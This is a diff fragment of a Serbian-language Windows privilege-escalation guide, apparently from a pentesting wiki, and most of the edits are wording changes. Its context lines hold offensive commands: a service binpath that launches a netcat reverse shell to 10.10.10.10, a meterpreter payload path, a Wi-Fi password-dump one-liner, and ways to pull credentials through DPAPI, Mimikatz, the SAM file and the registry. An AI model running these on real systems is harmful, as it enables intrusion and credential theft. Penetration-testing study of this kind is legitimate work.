Primer: "Windows Help and Support" (Windows + F1), pretražite "command prompt", kliknite na "Click to open Command Prompt"
## Services
Dobijte listu servisa:
Get a list of services:
```bash
net start
wmic service list brief
@ -443,7 +443,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
**Uzmite u obzir da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)**
**Druga alternativa** ovog problema je pokretanje:
**Drugo rešenje** ovog problema je pokretanje:
```
sc.exe config usosvc start= auto
```
@ -457,7 +457,7 @@ sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
```
### Ponovno pokrenite uslugu
### Ponovno pokreni servis
```bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
@ -474,7 +474,7 @@ Za detekciju i eksploataciju ove ranjivosti, može se koristiti _exploit/windows
### Slabe dozvole binarnih datoteka servisa
**Proverite da li možete da modifikujete binarnu datoteku koja se izvršava putem servisa** ili da li imate **dozvole za pisanje na folderu** gde se binarna datoteka nalazi ([**DLL Hijacking**](dll-hijacking/))**.**\
**Proverite da li možete da modifikujete binarnu datoteku koja se izvršava putem servisa** ili da li imate **dozvole za pisanje na folderu** gde se binarna datoteka nalazi ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
Možete dobiti svaku binarnu datoteku koja se izvršava putem servisa koristeći **wmic** (ne u system32) i proveriti svoje dozvole koristeći **icacls**:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -489,8 +489,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
```
### Services registry modify permissions
Trebalo bi da proverite da li možete da modifikujete bilo koju uslugu registrovanja.\
Možete **proveriti** svoje **dozvole** nad uslugom **registrovanja** tako što ćete:
Trebalo bi da proverite da li možete da modifikujete bilo koju uslugu u registru.\
Možete **proveriti** svoje **dozvole** nad uslugom **registrija** tako što ćete:
```bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
@ -523,7 +523,7 @@ C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
```
Nabrojte sve necitirane putanje servisa, isključujući one koje pripadaju ugrađenim Windows servisima:
Nabrojite sve necitirane putanje servisa, isključujući one koje pripadaju ugrađenim Windows servisima:
```powershell
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
@ -555,7 +555,7 @@ Windows omogućava korisnicima da odrede akcije koje će se preduzeti ako usluga
### Installed Applications
Proverite **dozvole binarnih fajlova** (možda možete da prepišete jedan i eskalirate privilegije) i **foldera** ([DLL Hijacking](dll-hijacking/)).
Proverite **dozvole binarnih fajlova** (možda možete da prepišete jedan i eskalirate privilegije) i **foldera** ([DLL Hijacking](dll-hijacking/index.html)).
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -566,7 +566,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### Dozvole za pisanje
Proverite da li možete da modifikujete neki konfiguracioni fajl da biste pročitali neki specijalan fajl ili da li možete da modifikujete neki binarni fajl koji će biti izvršen od strane Administratorskog naloga (schedtasks).
Proverite da li možete da izmenite neki konfiguracioni fajl da biste pročitali neki poseban fajl ili da li možete da izmenite neki binarni fajl koji će biti izvršen od strane Administratorskog naloga (schedtasks).
Jedan od načina da pronađete slabe dozvole za foldere/fajlove u sistemu je da uradite:
```bash
@ -594,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### Pokreni pri pokretanju
**Proverite da li možete da prepišete neki registar ili binarni fajl koji će biti izvršen od strane drugog korisnika.**\
**Pročitajte** **sledeću stranicu** da biste saznali više o zanimljivim **lokacijama autorun-a za eskalaciju privilegija**:
**Pročitajte** **sledeću stranicu** da biste saznali više o zanimljivim **mestima za autorun za eskalaciju privilegija**:
{{#ref}}
privilege-escalation-with-autorun-binaries.md
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
### Drajveri
Pogledajte moguće **drajvere trećih strana koji su čudni/ranjivi**
Pogledajte moguće **druge čudne/ranjive** drajvere
```bash
driverquery
driverquery.exe /fo table
@ -610,7 +610,7 @@ driverquery /SI
```
## PATH DLL Hijacking
Ako imate **dozvole za pisanje unutar fascikle koja se nalazi na PATH-u**, mogli biste biti u mogućnosti da preuzmete DLL koji učitava proces i **povećate privilegije**.
Ako imate **dozvole za pisanje unutar fascikle koja se nalazi na PATH-u**, mogli biste da preuzmete kontrolu nad DLL-om koji učitava proces i **povećate privilegije**.
Proverite dozvole svih fascikli unutar PATH-a:
```bash
@ -698,14 +698,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
```
### Menadžer kredencijala / Windows trezor
### Menadžer kredencijala / Windows vault
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows trezor čuva korisničke kredencijale za servere, veb sajtove i druge programe koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled, ovo može izgledati kao da korisnici mogu da čuvaju svoje Facebook kredencijale, Twitter kredencijale, Gmail kredencijale itd., tako da se automatski prijavljuju putem pregledača. Ali to nije tako.
Windows Vault čuva korisničke kredencijale za servere, veb sajtove i druge programe za koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled, ovo može izgledati kao da korisnici mogu da čuvaju svoje Facebook kredencijale, Twitter kredencijale, Gmail kredencijale itd., tako da se automatski prijavljuju putem pregledača. Ali to nije tako.
Windows trezor čuva kredencijale koje Windows može automatski da prijavi korisnicima, što znači da svaka **Windows aplikacija koja treba kredencijale za pristup resursu** (serveru ili veb sajtu) **može koristiti ovaj Menadžer kredencijala** & Windows trezor i koristiti kredencijale koje su date umesto da korisnici stalno unose korisničko ime i lozinku.
Windows Vault čuva kredencijale koje Windows može automatski da prijavi korisnicima, što znači da svaka **Windows aplikacija koja treba kredencijale za pristup resursu** (serveru ili veb sajtu) **može koristiti ovaj Menadžer kredencijala** & Windows Vault i koristiti kredencijale koje su dostavljene umesto da korisnici stalno unose korisničko ime i lozinku.
Osim ako aplikacije ne komuniciraju sa Menadžerom kredencijala, ne mislim da je moguće da koriste kredencijale za dati resurs. Dakle, ako vaša aplikacija želi da koristi trezor, treba nekako **da komunicira sa menadžerom kredencijala i zatraži kredencijale za taj resurs** iz podrazumevanog skladišta trezora.
Osim ako aplikacije ne komuniciraju sa Menadžerom kredencijala, ne mislim da je moguće da koriste kredencijale za dati resurs. Dakle, ako vaša aplikacija želi da koristi vault, treba nekako **da komunicira sa menadžerom kredencijala i zatraži kredencijale za taj resurs** iz podrazumevanog skladišta vault-a.
Koristite `cmdkey` da biste prikazali sačuvane kredencijale na mašini.
```bash
@ -731,7 +731,7 @@ Napomena da mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
**DPAPI omogućava enkripciju ključeva putem simetričnog ključa koji se izvodi iz korisničkih prijavnih tajni**. U scenarijima koji uključuju enkripciju sistema, koristi tajne autentifikacije domena sistema.
Enkriptovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u `%APPDATA%\Microsoft\Protect\{SID}` direktorijumu, gde `{SID}` predstavlja korisnički [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI ključ, koji se nalazi zajedno sa master ključem koji štiti korisničke privatne ključeve u istoj datoteci**, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, sprečavajući listanje njegovog sadržaja putem `dir` komande u CMD, iako se može listati putem PowerShell-a).
Enkriptovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u `%APPDATA%\Microsoft\Protect\{SID}` direktorijumu, gde `{SID}` predstavlja korisnički [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI ključ, koji se nalazi zajedno sa master ključem koji štiti korisničke privatne ključeve u istom fajlu**, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, sprečavajući listanje njegovog sadržaja putem `dir` komande u CMD, iako se može listati putem PowerShell-a).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
### PowerShell Kredencijali
**PowerShell kredencijali** se često koriste za **scripting** i automatizaciju kao način za praktično čuvanje enkriptovanih kredencijala. Kredencijali su zaštićeni korišćenjem **DPAPI**, što obično znači da ih može dekriptovati samo isti korisnik na istom računaru na kojem su kreirani.
**PowerShell kredencijali** se često koriste za **skriptovanje** i automatizaciju kao način za praktično čuvanje enkriptovanih kredencijala. Kredencijali su zaštićeni korišćenjem **DPAPI**, što obično znači da ih može dekriptovati samo isti korisnik na istom računaru na kojem su kreirani.
Da biste **dekriptovali** PS kredencijale iz datoteke koja ih sadrži, možete uraditi:
```powershell
@ -776,7 +776,7 @@ netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
```
### Sačuvane RDP veze
### Sačuvane RDP konekcije
Možete ih pronaći na `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
i u `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
@ -786,22 +786,22 @@ i u `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
### **Upravljač kredencijala za daljinsku radnu površinu**
### **Upravljač kredencijala za udaljenu radnu površinu**
```
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
Koristite **Mimikatz** `dpapi::rdg` modul sa odgovarajućim `/masterkey` za **dešifrovanje bilo kojih .rdg fajlova**\
Koristite **Mimikatz** `dpapi::rdg` modul sa odgovarajućim `/masterkey` za **dešifrovanje bilo kojih .rdg datoteka**\
Možete **izvući mnoge DPAPI masterključeve** iz memorije pomoću Mimikatz `sekurlsa::dpapi` modula
### Sticky Notes
Ljudi često koriste aplikaciju StickyNotes na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to fajl baze podataka. Ovaj fajl se nalazi na `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi pretražiti i ispitati.
Ljudi često koriste aplikaciju StickyNotes na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to datoteka baze podataka. Ova datoteka se nalazi na `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi pretražiti i ispitati.
### AppCmd.exe
**Napomena da da biste povratili lozinke iz AppCmd.exe morate biti Administrator i raditi pod visokim integritetom.**\
**AppCmd.exe** se nalazi u `%systemroot%\system32\inetsrv\` direktorijumu.\
Ako ovaj fajl postoji, moguće je da su neka **akreditivna** podešavanja konfigurisana i mogu se **povratiti**.
Ako ova datoteka postoji, moguće je da su neka **akreditivna** podešavanja konfigurisana i mogu se **povratiti**.
Ovaj kod je izvučen iz [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
```bash
@ -890,7 +890,7 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
if ($result) { $result }
else { Write "Not Installed." }
```
## Datoteke i Registar (Akreditivi)
## Datoteke i Registry (Akreditivi)
### Putty Akreditivi
```bash
@ -950,7 +950,7 @@ Možete takođe pretraživati ove datoteke koristeći **metasploit**: _post/wind
</LocalAccounts>
</UserAccounts>
```
### SAM & SYSTEM backupi
### SAM & SYSTEM rezervne kopije
```bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
@ -1022,7 +1022,7 @@ Primer web.config sa kredencijalima:
</forms>
</authentication>
```
### OpenVPN kredencijali
### OpenVPN akreditivi
```csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
@ -1139,7 +1139,7 @@ Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
Trebalo bi da proverite i Kantu da potražite kredencijale unutar njega
Da **oporavite lozinke** sačuvane od strane nekoliko programa možete koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
Da **povratite lozinke** sačuvane od strane nekoliko programa možete koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### Unutar registra
@ -1154,7 +1154,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### Istorija pregledača
Trebalo bi da proverite baze podataka gde su sačuvane lozinke iz **Chrome-a ili Firefox-a**.\
Trebalo bi da proverite baze podataka gde su sačuvane lozinke iz **Chrome ili Firefox**.\
Takođe proverite istoriju, obeleživače i favorite pregledača, možda su neke **lozinke** sačuvane tamo.
Alati za izvlačenje lozinki iz pregledača:
@ -1206,7 +1206,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
### Alati koji traže lozinke
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **je msf** plugin koji sam kreirao da **automatski izvrši svaki metasploit POST modul koji traži kredencijale** unutar žrtve.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatski traži sve datoteke koje sadrže lozinke pomenute na ovoj stranici.\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatski traži sve datoteke koje sadrže lozinke navedene na ovoj stranici.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) je još jedan sjajan alat za ekstrakciju lozinki iz sistema.
Alat [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) traži **sesije**, **korisnička imena** i **lozinke** nekoliko alata koji čuvaju ove podatke u čistom tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
@ -1219,7 +1219,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
## Leaked Handlers
Zamislite da **proces koji se izvršava kao SYSTEM otvara novi proces** (`OpenProcess()`) sa **potpunim pristupom**. Isti proces **takođe kreira novi proces** (`CreateProcess()`) **sa niskim privilegijama, ali nasleđuje sve otvorene handle-ove glavnog procesa**.\
Tada, ako imate **potpun pristup procesu sa niskim privilegijama**, možete uhvatiti **otvoreni handle za privilegovani proces kreiran** sa `OpenProcess()` i **ubaciti shellcode**.\
Tada, ako imate **potpun pristup niskopravnom procesu**, možete uhvatiti **otvoreni handle za privilegovani proces kreiran** sa `OpenProcess()` i **ubaciti shellcode**.\
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
@ -1229,7 +1229,7 @@ Deljeni memorijski segmenti, poznati kao **cevi**, omogućavaju komunikaciju izm
Windows pruža funkciju pod nazivom **Named Pipes**, koja omogućava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo podseća na arhitekturu klijent/server, sa ulogama definisanim kao **named pipe server** i **named pipe client**.
Kada se podaci šalju kroz cev od strane **klijenta**, **server** koji je postavio cev ima mogućnost da **preuzme identitet** **klijenta**, pod uslovom da ima potrebna **SeImpersonate** prava. Identifikovanje **privilegovanog procesa** koji komunicira putem cevi koju možete imitirati pruža priliku da **dobijete više privilegije** preuzimanjem identiteta tog procesa kada interaguje sa cevkom koju ste uspostavili. Za uputstva o izvršavanju takvog napada, korisni vodiči se mogu naći [**here**](named-pipe-client-impersonation.md) i [**here**](#from-high-integrity-to-system).
Kada se podaci šalju kroz cev od strane **klijenta**, **server** koji je postavio cev ima mogućnost da **preuzme identitet** **klijenta**, pod uslovom da ima potrebna **SeImpersonate** prava. Identifikovanje **privilegovanog procesa** koji komunicira putem cevi koju možete imitirati pruža priliku da **dobijete više privilegije** preuzimanjem identiteta tog procesa kada se interaguje sa cevkom koju ste uspostavili. Za uputstva o izvršavanju takvog napada, korisni vodiči se mogu naći [**here**](named-pipe-client-impersonation.md) i [**here**](#from-high-integrity-to-system).
Takođe, sledeći alat omogućava **presretanje komunikacije preko named pipe-a sa alatom kao što je burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **i ovaj alat omogućava da se prikažu i vide sve cevi kako bi se pronašli privesci** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
@ -1333,20 +1333,20 @@ Iz procesa visokog integriteta možete pokušati da **omogućite AlwaysInstallEl
### Od SeDebug + SeImpersonate do punih Token privilegija
Ako imate te privilegije tokena (verovatno ćete to pronaći u već postojećem procesu visokog integriteta), moći ćete da **otvorite gotovo bilo koji proces** (nezaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\
Korišćenje ove tehnike obično **izabere bilo koji proces koji se izvršava kao SYSTEM sa svim privilegijama tokena** (_da, možete pronaći SYSTEM procese bez svih privilegija tokena_).\
Ako imate te token privilegije (verovatno ćete to pronaći u već postojećem procesu visokog integriteta), moći ćete da **otvorite gotovo bilo koji proces** (nezaštićene procese) sa SeDebug privilegijom, **kopirate token** procesa i kreirate **arbitrarni proces sa tim tokenom**.\
Korišćenje ove tehnike obično **izabire bilo koji proces koji se izvršava kao SYSTEM sa svim token privilegijama** (_da, možete pronaći SYSTEM procese bez svih token privilegija_).\
**Možete pronaći** [**primer koda koji izvršava predloženu tehniku ovde**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji od **kreiranja cevi i zatim kreiranja/zloupotrebe usluge za pisanje na tu cev**. Zatim, **server** koji je kreirao cev koristeći **`SeImpersonate`** privilegiju moći će da **imituje token** klijenta cevi (uslugu) dobijajući SYSTEM privilegije.\
Ova tehnika se koristi od strane meterpreter-a za eskalaciju u `getsystem`. Tehnika se sastoji od **kreiranja cevi i zatim kreiranja/zloupotrebe usluge za pisanje na tu cev**. Tada će **server** koji je kreirao cev koristeći **`SeImpersonate`** privilegiju moći da **imituje token** klijenta cevi (uslugu) dobijajući SYSTEM privilegije.\
Ako želite da [**saznate više o named pipes, trebate pročitati ovo**](#named-pipe-client-impersonation).\
Ako želite da pročitate primer [**kako preći sa visokog integriteta na System koristeći named pipes, trebate pročitati ovo**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking
Ako uspete da **otmete dll** koji se **učitava** od strane **procesa** koji se izvršava kao **SYSTEM**, moći ćete da izvršite proizvoljan kod sa tim dozvolama. Stoga je Dll Hijacking takođe koristan za ovu vrstu eskalacije privilegija, a, osim toga, daleko je **lakše postići iz procesa visokog integriteta** jer će imati **dozvole za pisanje** na folderima koji se koriste za učitavanje dll-ova.\
**Možete** [**saznati više o Dll hijacking ovde**](dll-hijacking/)**.**
**Možete** [**saznati više o Dll hijacking ovde**](dll-hijacking/index.html)**.**
### **Od Administratora ili Mrežne Usluge do System**
@ -1378,7 +1378,7 @@ https://github.com/sailay1996/RpcSsImpersonator
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh je PowerShell ADIDNS/LLMNR/mDNS/NBNS lažnjak i alat za napad "čovek u sredini".**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Osnovna privesc Windows enumeracija**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Pretražuje poznate privesc ranjivosti (DEPRECATED za Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne provere **(Potrebna su admin prava)**
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne provere **(Potrebna su administratorska prava)**
**Exe**
@ -1393,7 +1393,7 @@ https://github.com/sailay1996/RpcSsImpersonator
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Alat kreiran na osnovu ovog posta (ne zahteva accesschk da bi pravilno radio, ali može ga koristiti).
**Local**
**Lokalno**
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Čita izlaz **systeminfo** i preporučuje funkcionalne eksploite (lokalni python)\
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Čita izlaz **systeminfo** i preporučuje funkcionalne eksploite (lokalni python)